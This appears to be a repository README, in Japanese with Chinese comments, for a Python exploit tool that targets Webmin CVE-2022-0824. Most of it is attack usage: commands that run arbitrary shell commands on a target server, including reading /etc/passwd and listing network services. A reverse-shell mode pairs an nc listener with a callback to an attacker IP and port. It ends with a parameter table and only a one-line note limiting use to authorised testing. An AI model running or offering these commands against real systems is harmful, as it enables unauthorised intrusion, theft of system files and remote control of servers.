
Webmin CVE-2022-0824向けPythonエクスプロイト。デュアルモード対応:直接コマンド実行とリバースシェル。複数のペイロードタイプ、インテリジェントなファイル管理、認可されたセキュリティテスト向けの詳細なデバッグログを備えています。
[!IMPORTANT]
Webmin CVE-2022-0824 拡張版エクスプロイトツール - コマンド実行とリバースシェルのデュアルモード対応
[!IMPORTANT]
Webmin CVE-2022-0824 の脆弱性を狙った拡張版エクスプロイトツールです。直接のコマンド実行とリバースシェルの2つのモードに対応しています。
# Python 3.6+
pip3 install requests urllib3
# 基本命令执行
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# 查看系统信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# 列出文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# 查看敏感文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# 网络信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
# 1. 启动监听器
nc -nlvp 9999
# 2. 执行漏洞利用
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
*注:リバースシェルモードでは必須
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
本ツールは、許可されたセキュリティテストおよび教育目的でのみ使用してください。
IssueとPull Requestを歓迎します!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)本プロジェクトはMITライセンスの下で提供されています - 詳細は LICENSE ファイルを参照してください
質問や提案がある場合は、以下の方法でご連絡ください:
⭐ このプロジェクトが役に立ったなら、Starでサポートしてください!
requests>=2.25.1
urllib3>=1.26.0
| パラメータ | 説明 | 必須 | 例 |
|---|
-t, --target | ターゲットWebmin URL | ✅ | http://192.168.1.100:10000/ |
-c, --credential | ログイン認証情報 | ✅ | admin:password |
-LS, --py3http_server | HTTPサーバーアドレス | ✅ | 192.168.1.50:8080 |
--shell | 実行するコマンド | ❌ | "ls -la" |
-L, --callback_ip | リバースシェル接続先IP | ❌* | 192.168.1.50 |
-P, --callback_port | リバースシェル接続先ポート | ❌* | 9999 |